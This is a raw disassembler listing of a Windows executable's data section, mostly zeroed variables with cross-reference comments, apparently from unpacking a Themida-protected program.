dword_436F00 dd 2 dup(0) ; DATA XREF: ___:00404B58o
dword_436F08 dd 0 ; DATA XREF: sub_4059DB+2Aw
; sub_4059DB+51r ...
dword_436F0C dd 0 ; DATA XREF: sub_4030E8+AEr
; ___:004042D4r ...
dd 2 dup(0)
dword_436F18 dd 0 ; DATA XREF: sub_4071DB+18r
; sub_40762E+92w ...
dword_436F1C dd 0 ; DATA XREF: sub_407767+4Dr
; sub_40797F+D9w ...
dd 7FEh dup(0)
dword_438F18 dd 6 dup(0) ; DATA XREF: sub_407767+D2o
; sub_407767+13Bo ...
dword_438F30 dd 0 ; DATA XREF: sub_407252+82w
; sub_407252+102o
dword_438F34 dd 41h dup(0) ; DATA XREF: sub_407252+41o
dword_439038 dd 41h dup(0) ; DATA XREF: sub_407252+63o
dword_43913C dd 0 ; DATA XREF: sub_407252+F8w
; sub_407252+114r
dword_439140 dd 0 ; DATA XREF: sub_407252+52w
dword_439144 dd 0 ; DATA XREF: sub_407252+4Dw
; sub_407252+CFr
dword_439148 dd 20h dup(0) ; DATA XREF: sub_407252+9Ao
; sub_407252+BAo
dword_4391C8 dd 0 ; DATA XREF: sub_407252+8Fw
dword_4391CC dd 0 ; DATA XREF: sub_407252+A7w
; sub_407252+C7w
dword_4391D0 dd 0 ; DATA XREF: sub_407252:loc_40737Cr
align 8
dword_4391D8 dd 0 ; DATA XREF: sub_407252+2D5w
; sub_407252+32Eo
dword_4391DC dd 0A2h dup(0) ; DATA XREF: sub_407252+2C3o
dword_439464 dd 41h dup(0) ; DATA XREF: sub_407252+28Do
dword_439568 dd 0 ; DATA XREF: sub_407252+2BAw
; sub_407252+2E1r
align 10h
dword_439570 dd 0 ; DATA XREF: sub_407252+324w
; sub_407252+340r
dword_439574 dd 0 ; DATA XREF: sub_407252+2E7w
dword_439578 dd 0 ; DATA XREF: sub_407252+2F4w
dword_43957C dd 0 ; DATA XREF: sub_407252+2B4w
dd 0
dword_439584 dd 0 ; DATA XREF: sub_407252:loc_4075A8r
dword_439588 dd 0 ; DATA XREF: sub_407252+1A1w
; sub_407252+221o
dword_43958C dd 41h dup(0) ; DATA XREF: sub_407252+163o
dword_439690 dd 41h dup(0) ; DATA XREF: sub_407252+182o
dword_439794 dd 0 ; DATA XREF: sub_407252+217w
; sub_407252+233r
dword_439798 dd 0 ; DATA XREF: sub_407252+171w
dword_43979C dd 0 ; DATA XREF: sub_407252+1EEr
dword_4397A0 dd 20h dup(0) ; DATA XREF: sub_407252+1B9o
; sub_407252+1D9o
dword_439820 dd 0 ; DATA XREF: sub_407252+1AEw
dword_439824 dd 0 ; DATA XREF: sub_407252+1C6w
; sub_407252+1E6w
dword_439828 dd 0 ; DATA XREF: sub_407252:loc_40749Cr
align 10h
dword_439830 dd 0 ; DATA XREF: sub_4087EE+Fr
; sub_4089E7+12r
align 8
dword_439838 dd 80h dup(0) ; DATA XREF: sub_409706+41o
dword_439A38 dd 200h dup(0) ; DATA XREF: sub_409037+C7o
; sub_409392+DDo ...
dword_43A238 dd 200h dup(0) ; DATA XREF: sub_409037+D6o
; sub_409392+F4o ...
dword_43AA38 dd 0 ; DATA XREF: sub_409037+86w
; sub_409209+94r
dword_43AA3C dd 0 ; DATA XREF: sub_409037+A7w
; sub_40966F+55r ...
dword_43AA40 dd 0 ; DATA XREF: sub_409037+A0w
; sub_409209+D6r ...
dword_43AA44 dd 0 ; DATA XREF: sub_409037+79w
; sub_409209+35r ...
dword_43AA48 dd 80h dup(0) ; DATA XREF: sub_40966F+5Eo
dword_43AC48 dd 0 ; DATA XREF: sub_409037+93w
; sub_409209+A2r
align 10h
dword_43AC50 dd 0 ; DATA XREF: sub_409037+E7o
; sub_409037+103r ...
dword_43AC54 dd 0 ; DATA XREF: sub_409392+17Bw
; sub_409539+107w
dword_43AC58 dd 0 ; DATA XREF: sub_409392+180w
; sub_409539+10Dw ...
dword_43AC5C dd 0 ; DATA XREF: sub_409392+159w
; sub_40966F+4Fr
dword_43AC60 dd 0 ; DATA XREF: sub_4085B3+210r
; sub_4085B3+21Ar ...
dword_43AC64 dd 0 ; DATA XREF: sub_40981F+65w
; sub_41518A+F5r
dword_43AC68 dd 0 ; DATA XREF: sub_40981F+7EDw
; sub_40981F+862r ...
dword_43AC6C dd 0 ; DATA XREF: sub_40981F+9BAw
; sub_40981F+A18r ...
dword_43AC70 dd 0 ; DATA XREF: sub_40981F+96Cw
; sub_40981F+9E8r ...
dword_43AC74 dd 0 ; DATA XREF: sub_4085B3+D1r
; sub_40981F+46Fw ...
dword_43AC78 dd 0 ; DATA XREF: sub_4023A7+ECr
; sub_4023A7+109r ...
dword_43AC7C dd 0 ; DATA XREF: sub_40981F+9ADw
; sub_40981F+A10r ...
dword_43AC80 dd 0 ; DATA XREF: sub_40981F+354w
; sub_40981F+3A9r ...
dword_43AC84 dd 0 ; DATA XREF: sub_40981F+3F1w
; sub_40B8D8+11Er
dword_43AC88 dd 0 ; DATA XREF: sub_40981F+361w
; sub_40981F+3B1r ...
dword_43AC8C dd 0 ; DATA XREF: sub_40981F+3A2w
; sub_40DCE6+ADr
dword_43AC90 dd 0 ; DATA XREF: sub_405AF2+115r
; sub_4084B3+7Dr ...
dword_43AC94 dd 0 ; DATA XREF: sub_40981F+72w
; sub_40981F+D2r ...
dword_43AC98 dd 0 ; DATA XREF: sub_40981F+95Fw
; sub_40981F+9DBr ...
dword_43AC9C dd 0 ; DATA XREF: sub_40981F+388w
; sub_40981F+3C9r ...
dword_43ACA0 dd 0 ; DATA XREF: sub_40981F+83Bw
; sub_40981F+88Er ...
dword_43ACA4 dd 0 ; DATA XREF: sub_408C26+58r
; sub_40981F+2A5w ...
dword_43ACA8 dd 0 ; DATA XREF: sub_40981F+82Ew
; sub_40981F+886r ...
dword_43ACAC dd 0 ; DATA XREF: sub_40981F+B3w
dword_43ACB0 dd 0 ; DATA XREF: sub_40981F+848w
; sub_40981F+896r ...
dword_43ACB4 dd 0 ; DATA XREF: sub_407BDE+7Er
; sub_40981F+52Fw ...
dword_43ACB8 dd 0 ; DATA XREF: sub_40981F+58w
; sub_40981F+CAr ...
dword_43ACBC dd 0 ; DATA XREF: sub_40981F+916w
; sub_40AF86+11Ar
dword_43ACC0 dd 0 ; DATA XREF: sub_40981F+A66w
; sub_40981F+A6Dr ...
dword_43ACC4 dd 0 ; DATA XREF: sub_40981F+A6w
; sub_40981F+F2r
dword_43ACC8 dd 0 ; DATA XREF: sub_4085B3+119r
; sub_40981F+462w ...
dword_43ACCC dd 0 ; DATA XREF: sub_4075E6+20r
; sub_40981F+5D8w
dword_43ACD0 dd 0 ; DATA XREF: sub_40981F+9A0w
; sub_40981F+A08r
dword_43ACD4 dd 0 ; DATA XREF: sub_402688+280r
; sub_40981F+5CBw ...
dword_43ACD8 dd 0 ; DATA XREF: sub_402ACC+9Ar
; sub_40981F+B21w
dword_43ACDC dd 0 ; DATA XREF: sub_40981F+7E0w
; sub_40981F+84Fr ...
dword_43ACE0 dd 0 ; DATA XREF: sub_40981F+1B3w
; sub_40AC20+15r
dword_43ACE4 dd 0 ; DATA XREF: sub_40981F+979w
; sub_40981F+9F0r ...
dword_43ACE8 dd 0 ; DATA XREF: sub_40981F+36Ew
; sub_40981F+3B9r ...
dword_43ACEC dd 0 ; DATA XREF: sub_40981F+37Bw
; sub_40981F+3C1r ...
dword_43ACF0 dd 0 ; DATA XREF: sub_4087EE+28r
; sub_4089E7+2Br ...
dword_43ACF4 dd 0 ; DATA XREF: sub_40981F+68Ew
; ___:00415550r
dword_43ACF8 dd 0 ; DATA XREF: sub_4010B5:loc_4013E0r
; sub_401A76:loc_401D1Cr ...
dword_43ACFC dd 0 ; DATA XREF: sub_4085B3+207r
; sub_40981F+496w
dword_43AD00 dd 0 ; DATA XREF: sub_40981F+9C7w
; sub_40981F+A20r ...
dword_43AD04 dd 0 ; DATA XREF: sub_40981F+2B2w
; sub_40981F+2DEr ...
dword_43AD08 dd 0 ; DATA XREF: sub_40981F+7Fw
; sub_40981F+DAr ...
dword_43AD0C dd 0 ; DATA XREF: sub_40981F+B6Ew
; sub_40981F+B75r ...
dword_43AD10 dd 0 ; DATA XREF: sub_4010B5+2Fr
; sub_401A76+2Fr ...
dword_43AD14 dd 0 ; DATA XREF: sub_40981F+807w
; sub_40981F+872r ...
dword_43AD18 dd 0 ; DATA XREF: sub_40981F+986w
; sub_40981F+9F8r
dword_43AD1C dd 0 ; DATA XREF: sub_40981F+BDFw
; sub_40981F+C10r
dword_43AD20 dd 0 ; DATA XREF: sub_4023A7+40r
; sub_4023A7+63r ...
dword_43AD24 dd 0 ; DATA XREF: sub_40981F+8FCw
; sub_40981F+910r ...
dword_43AD28 dd 0 ; DATA XREF: sub_40981F+BF9w
dword_43AD2C dd 0 ; DATA XREF: sub_4010B5:loc_4013AAr
; sub_40144A+3Cr ...
dword_43AD30 dd 0 ; DATA XREF: sub_40981F+821w
; sub_40981F+855r
dword_43AD34 dd 0 ; DATA XREF: sub_4023A7+50r
; sub_4023A7+78r ...
dword_43AD38 dd 0 ; DATA XREF: sub_4087EE+3Fr
; sub_4087EE+69r ...
dword_43AD3C dd 0 ; DATA XREF: sub_40981F+65Aw
; sub_40981F+786r ...
dword_43AD40 dd 0 ; DATA XREF: sub_402DD7+20Ar
; sub_4030E8+5Er ...
dword_43AD44 dd 0 ; DATA XREF: sub_402688+16Er
; sub_40981F+549w ...
dword_43AD48 dd 0 ; DATA XREF: sub_40981F+8BDw
; sub_40981F:loc_40A0FAw ...
dword_43AD4C dd 0 ; DATA XREF: sub_40981F+28Bw
; sub_40981F+2C6r ...
dword_43AD50 dd 0 ; DATA XREF: ___:00407DFEr
; sub_40981F+681w ...
dword_43AD54 dd 0 ; DATA XREF: sub_40981F+30Fw
; sub_40981F+323r ...
dword_43AD58 dd 0 ; DATA XREF: sub_40981F+395w
; sub_40981F+3D1r ...
dword_43AD5C dd 0 ; DATA XREF: sub_40981F+BD2w
; sub_40981F+C08r
dword_43AD60 dd 0 ; DATA XREF: sub_40981F+7FAw
; sub_40981F+86Ar ...
dword_43AD64 dd 0 ; DATA XREF: sub_4023A7+FCr
; sub_40981F+206w ...
dword_43AD68 dd 0 ; DATA XREF: sub_40981F+18Cw
; sub_40981F+1D2r ...
dword_43AD6C dd 0 ; DATA XREF: sub_40981F+814w
; sub_40981F+87Ar ...
dword_43AD70 dd 0 ; DATA XREF: sub_406C19+244r
; sub_40981F+606w ...
dword_43AD74 dd 0 ; DATA XREF: sub_408C26+18Ar
; sub_40981F+2BFw ...
dword_43AD78 dd 0 ; DATA XREF: sub_4010B5+6Fr
; sub_40144A+AAr ...
dword_43AD7C dd 0 ; DATA XREF: sub_40981F+302w
; sub_40981F+316r ...
dword_43AD80 dd 0 ; DATA XREF: sub_405AF2+F9r
; sub_406C19+1FCr ...
dword_43AD84 dd 0 ; DATA XREF: sub_4085B3+16r
; sub_40981F+42Ew ...
dword_43AD88 dd 0 ; DATA XREF: sub_40981F+199w
; sub_40981F+1DAr ...
dword_43AD8C dd 0 ; DATA XREF: sub_40981F+347w
; sub_40981F+39Cr ...
dword_43AD90 dd 0 ; DATA XREF: sub_40981F+A73w
dword_43AD94 dd 0 ; DATA XREF: sub_4010B5+EBr
; sub_4010B5+1F9r ...
dword_43AD98 dd 0 ; DATA XREF: sub_4010B5+87r
; sub_4010B5+9Dr ...
dword_43AD9C dd 0 ; DATA XREF: sub_40981F+4Bw
; sub_40981F+C2r ...
dword_43ADA0 dd 0 ; DATA XREF: sub_4085B3+2Cr
; sub_4085B3+38r ...
dword_43ADA4 dd 0 ; DATA XREF: sub_40981F+165w
; sub_40981F+1BAr ...
dword_43ADA8 dd 0 ; DATA XREF: sub_40981F+9E1w
; sub_40E5EB+72r
dword_43ADAC dd 0 ; DATA XREF: sub_40981F+667w
; sub_40981F+78Er
dword_43ADB0 dd 0 ; DATA XREF: sub_402688+205r
; sub_402DD7+23Br ...
dword_43ADB4 dd 0 ; DATA XREF: sub_40981F+BECw
; sub_40981F+C18r
dword_43ADB8 dd 0 ; DATA XREF: sub_40981F+3Ew
; sub_40981F+BAr ...
dword_43ADBC dd 0 ; DATA XREF: sub_40981F+298w
; sub_40981F+2CEr ...
dword_43ADC0 dd 0 ; DATA XREF: sub_405AF2+9Er
; sub_407BDE+9Cr ...
dword_43ADC4 dd 0 ; DATA XREF: sub_402688+EBr
; sub_405AF2+89r ...
dword_43ADC8 dd 0 ; DATA XREF: sub_40981F+C63w
; sub_40EE72+4624r
dword_43ADCC dd 0 ; DATA XREF: sub_40981F+85Bw
; sub_40BC4B+205r ...
dword_43ADD0 dd 0 ; DATA XREF: sub_40981F+112w
dword_43ADD4 dd 0 ; DATA XREF: sub_40981F+BB8w
; sub_40981F+BF3r
dword_43ADD8 dd 0 ; DATA XREF: sub_40144A+119r
; sub_40144A+1A0r ...
dword_43ADDC dd 0 ; DATA XREF: sub_4085B3+BCr
; sub_40981F+43Bw ...
dword_43ADE0 dd 0 ; DATA XREF: sub_4085B3+FBr
; sub_40981F+47Cw ...
dword_43ADE4 dd 0 ; DATA XREF: sub_4085B3+65r
; sub_40981F+448w ...
dword_43ADE8 dd 0 ; DATA XREF: sub_402DD7+221r
; sub_402DD7+249r ...
dword_43ADEC dd 0 ; DATA XREF: sub_40981F+1A6w
; sub_40981F+1E2r ...
dword_43ADF0 dd 0 ; DATA XREF: sub_40981F+9D4w
; sub_40981F+A28r ...
dword_43ADF4 dd 0 ; DATA XREF: sub_4087EE+53r
; sub_4087EE+7Fr ...
dword_43ADF8 dd 0 ; DATA XREF: sub_40981F+8Cw
; sub_40981F+E2r ...
dword_43ADFC dd 0 ; DATA XREF: sub_4010B5+2C2r
; sub_40144A+2DAr ...
dword_43AE00 dd 0 ; DATA XREF: sub_40981F+B14w
; sub_40981F+B30r
dword_43AE04 dd 0 ; DATA XREF: sub_40981F+31Cw
; sub_41511F+55r
dword_43AE08 dd 0 ; DATA XREF: sub_408C26+3Fr
; sub_40981F+27Ew ...
dword_43AE0C dd 0 ; DATA XREF: sub_40981F+B7Bw
dword_43AE10 dd 0 ; DATA XREF: sub_40981F+ABDw
; sub_40AE02+CEr
dword_43AE14 dd 0 ; DATA XREF: sub_40981F+AB0w
; sub_40981F+AB7r ...
dword_43AE18 dd 0 ; DATA XREF: sub_40144A+2Er
; sub_401D82+55r ...
dword_43AE1C dd 0 ; DATA XREF: ___:00407DEEr
; sub_40981F+674w ...
dword_43AE20 dd 0 ; DATA XREF: sub_40981F+BC5w
; sub_40981F+C00r
dword_43AE24 dd 0 ; DATA XREF: sub_402688+28Dr
; sub_406C19+250r ...
dword_43AE28 dd 0 ; DATA XREF: sub_40981F+993w
; sub_40981F+A00r ...
dword_43AE2C dd 0 ; DATA XREF: sub_405AF2+13Ar
; sub_407BDE+B3r ...
dword_43AE30 dd 0 ; DATA XREF: sub_4010B5+324r
; sub_40144A+2F0r ...
dword_43AE34 dd 0 ; DATA XREF: sub_405AF2+B7r
; sub_405AF2+39Fr ...
dword_43AE38 dd 0 ; DATA XREF: sub_4029E9+B0r
; sub_4029E9+C8r ...
dword_43AE3C dd 0 ; DATA XREF: sub_4010B5+4Fr
; sub_401A76+4Fr ...
dword_43AE40 dd 0 ; DATA XREF: sub_40981F+AFAw
; sub_40981F+B1Br
dword_43AE44 dd 0 ; DATA XREF: sub_40981F+31w
; sub_40981F+ADr ...
dword_43AE48 dd 0 ; DATA XREF: sub_4087EE+1ECr
; sub_4089E7+232r ...
align 10h
dword_43AE50 dd 0 ; DATA XREF: sub_40981F+909w
; sub_40981F+91Dr ...
dword_43AE54 dd 0 ; DATA XREF: sub_40981F+99w
; sub_40981F+EAr ...
dword_43AE58 dd 0 ; DATA XREF: sub_40981F:loc_40991Dw
; sub_40981F+12Bw ...
dword_43AE5C dd 0 ; DATA XREF: sub_40981F+126w
; sub_40A4AC+1Cr
dword_43AE60 dd 0 ; DATA XREF: sub_40981F:loc_409A0Dw
; sub_40981F:loc_409A74w ...
dword_43AE64 dd 0 ; DATA XREF: sub_40981F+250w
; sub_40A4AC+50r
dword_43AE68 dd 0 ; DATA XREF: sub_40981F:loc_409B09w
; sub_40981F:loc_409B4Ew ...
dword_43AE6C dd 0 ; DATA XREF: sub_40981F+400w
; sub_40A4AC+84r
dword_43AE70 dd 0 ; DATA XREF: sub_40981F:loc_409D05w
; sub_40A4AC:loc_40A55Cr
dword_43AE74 dd 0 ; DATA XREF: sub_40981F+4E1w
; sub_40A4AC+B8r
dword_43AE78 dd 0 ; DATA XREF: sub_40981F:loc_409FD6w
; sub_40A4AC:loc_40A590r
dword_43AE7C dd 0 ; DATA XREF: sub_40981F+7B2w
; sub_40A4AC+ECr
dword_43AE80 dd 0 ; DATA XREF: sub_40981F:loc_40A0C1w
; sub_40981F+8D1w ...
dword_43AE84 dd 0 ; DATA XREF: sub_40981F+8CCw
; sub_40A4AC+120r
dword_43AE88 dd 0 ; DATA XREF: sub_40981F:loc_40A155w
; sub_40A4AC:loc_40A5F8r ...
dword_43AE8C dd 0 ; DATA XREF: sub_40981F+931w
; sub_40A4AC+154r
dword_43AE90 dd 0 ; DATA XREF: sub_40981F:loc_40A260w
; sub_40A4AC:loc_40A62Cr ...
dword_43AE94 dd 0 ; DATA XREF: sub_40981F+A3Cw
; sub_40A4AC+188r
dword_43AE98 dd 0 ; DATA XREF: sub_40981F:loc_40A2AAw
; sub_40A4AC:loc_40A660r
dword_43AE9C dd 0 ; DATA XREF: sub_40981F+A86w
; sub_40A4AC+1BCr
dword_43AEA0 dd 0 ; DATA XREF: sub_40981F:loc_40A2F4w
; sub_40A4AC:loc_40A694r
dword_43AEA4 dd 0 ; DATA XREF: sub_40981F+AD0w
; sub_40A4AC+1F0r
dword_43AEA8 dd 0 ; DATA XREF: sub_40981F:loc_40A368w
; sub_40A4AC:loc_40A6C8r
dword_43AEAC dd 0 ; DATA XREF: sub_40981F+B44w
; sub_40A4AC+224r
dword_43AEB0 dd 0 ; DATA XREF: sub_40981F:loc_40A3B2w
; sub_40A4AC:loc_40A6FCr
dword_43AEB4 dd 0 ; DATA XREF: sub_40981F+B8Ew
; sub_40A4AC+258r
dword_43AEB8 dd 0 ; DATA XREF: sub_40981F:loc_40A450w
; sub_40A4AC:loc_40A730r
dword_43AEBC dd 0 ; DATA XREF: sub_40981F+C2Cw
; sub_40A4AC+28Cr
dword_43AEC0 dd 0 ; DATA XREF: sub_40981F:loc_40A49Aw
; sub_40A4AC:loc_40A764r
dword_43AEC4 dd 0 ; DATA XREF: sub_40981F+C76w
; sub_40A4AC+2C0r
dword_43AEC8 dd 81h dup(0) ; DATA XREF: sub_40AA35+6Ao
dword_43B0CC dd 5 dup(0) ; DATA XREF: sub_40AEE0+32o
dword_43B0E0 dd 0 ; DATA XREF: sub_40B328:loc_40B349r
; sub_40B417+54r ...
dword_43B0E4 dd 0 ; DATA XREF: sub_40B328r
; sub_40B417+37r ...
dword_43B0E8 dd 0 ; DATA XREF: sub_40B358+1Ar
; sub_40B56C+83o
dword_43B0EC dd 0 ; DATA XREF: sub_40B328:loc_40B33Cr
; sub_40B56C+11Bw
dword_43B0F0 dd 0Dh dup(0) ; DATA XREF: sub_40B417+13o
; sub_40B56C:loc_40B6A9o
dword_43B124 dd 0 ; DATA XREF: sub_40B417+CDr
; sub_40B417+ECr ...
dd 0
dword_43B12C dd 0Eh dup(0) ; DATA XREF: sub_40B721+47o
dword_43B164 dd 1000h dup(0) ; DATA XREF: sub_40BF6D+1Do
; sub_40C00Do ...
dword_43F164 dd 0 ; DATA XREF: sub_40BF6D+13o
; sub_40C00D+Eo ...
dword_43F168 dd 0Eh dup(0) ; DATA XREF: sub_40D01A+Fo
dword_43F1A0 dd 2 dup(0) ; DATA XREF: sub_40D3A5+C8o
dword_43F1A8 dd 17h dup(0) ; DATA XREF: sub_40D835:loc_40D952o
; sub_40D835+131o ...
dword_43F204 dd 80h dup(0) ; DATA XREF: sub_40E5EB+7Co
; sub_40E5EB+A5o
dword_43F404 dd 0 ; DATA XREF: sub_40DBB0+45w
; sub_40DBB0+4Dr ...
dword_43F408 dd 17h dup(0) ; DATA XREF: sub_40E4B7:loc_40E5D9o
; sub_40E4B7+12Do
dword_43F464 dd 80h dup(0) ; DATA XREF: sub_40DAF0+4Co
; sub_40DAF0+7Eo ...
byte_43F664 db 0 ; DATA XREF: sub_40DBB0+29r
; sub_40DBB0+34w
align 4
dword_43F668 dd 80h dup(0) ; DATA XREF: sub_40DE07+61o
; sub_40DE07+89o ...
dword_43F868 dd 82h dup(0) ; DATA XREF: sub_40D719:loc_40D751o
; sub_40D719+5Bo
dword_43FA70 dd 0 ; DATA XREF: sub_40BE75+Ao
; sub_40BE75+44r ...
dd 5 dup(0)
dword_43FA88 dd 0 ; DATA XREF: sub_40BE75+60r
; sub_40EE72+BD6r
dd 2D9h dup(0)
dword_4405F0 dd 0 ; DATA XREF: sub_407767+A8r
; sub_40BE75+2Do ...
dd 7Fh dup(0)
dword_4407F0 dd 0 ; DATA XREF: sub_416D5C+41w
; sub_416E97+40w ...
dword_4407F4 dd 0 ; DATA XREF: sub_4060D0+23Bw
; sub_407767:loc_4077AEr ...
dword_4407F8 dd 0 ; DATA XREF: sub_40B56C+164w
; sub_416810+AEw ...
dword_4407FC dd 0 ; DATA XREF: sub_402688+E0w
; sub_405AF2+7Ew ...
dword_440800 dd 0 ; DATA XREF: ___:00407E84w
; ___:00407FA0r ...
dword_440804 dd 0 ; DATA XREF: sub_4060D0+268w
; sub_407252+122w ...
byte_440808 db 0 ; DATA XREF: sub_40EB92+91o
; sub_40EE72+3357r ...
align 4
dd 13D1h dup(0)
dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:off_42A2D0o
db 0
byte_45004D db 3 dup(0) ; DATA XREF: ___:0042CCA8o
dword_450050 dd 0D54Ah dup(0)
dword_485578 dd 2AB9h dup(0) ; DATA XREF: Themida_:0053C052o
dword_49005C dd 0F565h dup(0) ; DATA XREF: ___:off_427B6Co
dword_4CD5F0 dd 0 ; DATA XREF: sub_407110:loc_40717Er
; ___:0040E6E3w ...
align 8
dword_4CD5F8 dd 0 ; DATA XREF: ___:loc_40EAA4o
dword_4CD5FC dd 20h dup(0) ; DATA XREF: ___:0040EA3Co
; ___:0040EAF5o ...
dword_4CD67C dd 10h dup(0) ; DATA XREF: ___:0040EA53o
; sub_40EE72+929o
dword_4CD6BC dd 24h dup(0) ; DATA XREF: ___:0040EA6Ao
dword_4CD74C dd 0 ; DATA XREF: ___:0040EA5Ew
; ___:0040EB0Cw ...
dword_4CD750 dd 0 ; DATA XREF: ___:0040EA7Dw
align 10h
dword_4CD760 dd 0 ; DATA XREF: sub_40EB92+72r
; sub_40EE72+273r
align 8
byte_4CD768 db 0 ; DATA XREF: sub_40ECFA+28r
; sub_40ECFA+30o
align 4
dword_4CD76C dd 0 ; DATA XREF: ___:0040EAA9w
; ___:0040EAC0r ...
dword_4CD770 dd 0 ; DATA XREF: ___:0040EA41w
; sub_40EE72+8CAr
dd 2 dup(0)
dword_4CD77C dd 0 ; DATA XREF: ___:004155C6r
dd 0
dword_4CD784 dd 1Bh dup(0) ; DATA XREF: sub_415D6A+8Do
dword_4CD7F0 dd 0 ; DATA XREF: sub_416FA4+16o
; sub_416FC3+19o
dword_4CD7F4 dd 65h dup(0) ; DATA XREF: sub_416F57+3Do
byte_4CD988 db 0 ; DATA XREF: sub_416C55+6Ar
; sub_416C55+98w
align 4
dd 2 dup(0)
dword_4CD994 dd 0 ; DATA XREF: sub_417D73+Aw
dword_4CD998 dd 0 ; DATA XREF: sub_4186B1+5Er
; sub_4186B1+A4w
align 10h
word_4CD9A0 dw 0 ; DATA XREF: sub_4186B1+55r
; sub_4186B1+9Ao
word_4CD9A2 dw 0 ; DATA XREF: sub_4186B1+48r
db 2 dup(0)
word_4CD9A6 dw 0 ; DATA XREF: sub_4186B1+3Br
word_4CD9A8 dw 0 ; DATA XREF: sub_4186B1+2Er
word_4CD9AA dw 0 ; DATA XREF: sub_4186B1+21r
align 10h
dword_4CD9B0 dd 0 ; DATA XREF: sub_418B6E+3Br
; sub_418B6E+91w
dword_4CD9B4 dd 0 ; DATA XREF: sub_418833+1B9w
; sub_418D0E:loc_418D8Aw ...
dword_4CD9B8 dd 0 ; DATA XREF: sub_4197F9+35w
; sub_41A6B7:loc_41A751w ...
dword_4CD9BC dd 0 ; DATA XREF: sub_41FEC6+13Ar
dd 0A28h, 501h, 5, 1
dword_4CD9D0 dd 1 ; DATA XREF: ___:loc_40E98Cr
; ___:0041F2D1w
dword_4CD9D4 dd 2420B30h ; DATA XREF: ___:0040E995r
; ___:0040E9B5r ...
dd 0
dword_4CD9DC dd 2420B58h ; DATA XREF: ___:0041F1CBw
; sub_421DAE+9r ...
dword_4CD9E0 dd 0 ; DATA XREF: sub_422492+36r
dword_4CD9E4 dd 0 ; DATA XREF: sub_421DAE+16r
; sub_42217C+4r ...
dd 0
off_4CD9EC dd offset aCM_unpackerPac ; DATA XREF: ___:0041F26Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_4CD9F4 db 0 ; DATA XREF: sub_419B07+2Dw
; sub_41FAE7+5r
align 4
dword_4CD9F8 dd 0 ; DATA XREF: sub_419B07+27w
dword_4CD9FC dd 0 ; DATA XREF: sub_419B07+4r
; sub_419B07+8Bw
dword_4CDA00 dd 0 ; DATA XREF: ___:loc_41F199r
; ___:loc_41F1DBr ...
align 8
dword_4CDA08 dd 0 ; DATA XREF: sub_419CDAr sub_41F84Cr ...
dword_4CDA0C dd 0 ; DATA XREF: sub_41A8A2+37r
dd 0
dword_4CDA14 dd 0 ; DATA XREF: sub_417B89r
; sub_41944F:loc_41956Br ...
dword_4CDA18 dd 0 ; DATA XREF: sub_41AB54r
dword_4CDA1C dd 0 ; DATA XREF: sub_41BA22+4Bw
; sub_41BB3B+2Dw ...
dword_4CDA20 dd 0 ; DATA XREF: sub_41C96D+11r
; sub_41CA71+1Ar ...
byte_4CDA24 db 0 ; DATA XREF: sub_41C96D+3r
; sub_41C96D+98r ...
align 4
dword_4CDA28 dd 0 ; DATA XREF: sub_41CA71+11r
; sub_41CB4F+21w ...
byte_4CDA2C db 0 ; DATA XREF: sub_41CB4F+51w
align 10h
dword_4CDA30 dd 0 ; DATA XREF: sub_41CD45+4Er
; sub_41D120+3Ar ...
dword_4CDA34 dd 0 ; DATA XREF: sub_41CD45+5Cr
; sub_41D120+43r ...
dword_4CDA38 dd 0 ; DATA XREF: sub_417FFA+7Ar
; sub_41CEEC+5r
dword_4CDA3C dd 0 ; DATA XREF: sub_41D4FC+29r
dword_4CDA40 dd 2 dup(0) ; DATA XREF: sub_418790+Co
dword_4CDA48 dd 0 ; DATA XREF: sub_419063+4r
; sub_419063+6Er ...
dd 3 dup(0)
dword_4CDA58 dd 0 ; DATA XREF: sub_4199B9+61r
; sub_4199B9+BFr ...
align 10h
dword_4CDA60 dd 1 ; DATA XREF: sub_41E709+28r
; sub_41E709+4Cw ...
dword_4CDA64 dd 1 ; DATA XREF: sub_41E92D:loc_41EAA8r
; sub_41EAC6+4w ...
dword_4CDA68 dd 0 ; DATA XREF: ___:0041EFE5r
; ___:0041EFF1w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_41F257o
; ___:off_4CD9ECo
align 4
dd 3Ah dup(0)
dword_4CDB70 dd 1 ; DATA XREF: ___:0041F48Fr
; ___:0041F4B0w ...
dword_4CDB74 dd 0 ; DATA XREF: sub_41F84C+21r
dword_4CDB78 dd 0 ; DATA XREF: sub_41A8A2:loc_41A8CBw
; sub_41A96C+154w ...
dword_4CDB7C dd 1 ; DATA XREF: sub_41FB63+26r
; sub_41FB63:loc_41FBCDw
dword_4CDB80 dd 0 ; DATA XREF: sub_41A96C+7r
align 8
word_4CDB88 dw 0 ; DATA XREF: sub_42074B+1Ao
; sub_42074B+46r
byte_4CDB8A db 0 ; DATA XREF: sub_42074B+39r
align 4
dword_4CDB8C dd 7 dup(0) ; DATA XREF: sub_42074B+52o
dword_4CDBA8 dd 0 ; DATA XREF: sub_42074B+40w
; sub_42074B+5Co
dword_4CDBAC dd 0 ; DATA XREF: sub_42074B+4Dw
dword_4CDBB0 dd 0 ; DATA XREF: sub_42074B+31w
dword_4CDBB4 dd 0 ; DATA XREF: sub_42074B+52w
dword_4CDBB8 dd 77C26E79h ; DATA XREF: sub_42086E:loc_420891r
; sub_42086E+38r
align 10h
dword_4CDBC0 dd 0 ; DATA XREF: sub_42094E+11w
; sub_42094E+63w ...
align 8
dword_4CDBC8 dd 0 ; DATA XREF: sub_42094E+33o
; sub_42094E+46r
dword_4CDBCC dd 10h dup(0) ; DATA XREF: sub_42094E+C1o
word_4CDC0C dw 0 ; DATA XREF: sub_420BAC+A8r
word_4CDC0E dw 0 ; DATA XREF: sub_42094E+54r
; sub_420BAC+DBr ...
word_4CDC10 dw 0 ; DATA XREF: sub_420BAC+CAr
word_4CDC12 dw 0 ; DATA XREF: sub_420BAC+D3r
; sub_420BAC:loc_420C9Er
word_4CDC14 dw 0 ; DATA XREF: sub_420BAC+C0r
word_4CDC16 dw 0 ; DATA XREF: sub_420BAC+B8r
word_4CDC18 dw 0 ; DATA XREF: sub_420BAC+B0r
word_4CDC1A dw 0 ; DATA XREF: sub_420BAC+9Er
dword_4CDC1C dd 0 ; DATA XREF: sub_42094E+4Br
dword_4CDC20 dd 10h dup(0) ; DATA XREF: sub_42094E+FBo
word_4CDC60 dw 0 ; DATA XREF: sub_420BAC+46r
word_4CDC62 dw 0 ; DATA XREF: sub_42094E:loc_4209C5r
; sub_420BAC+78r ...
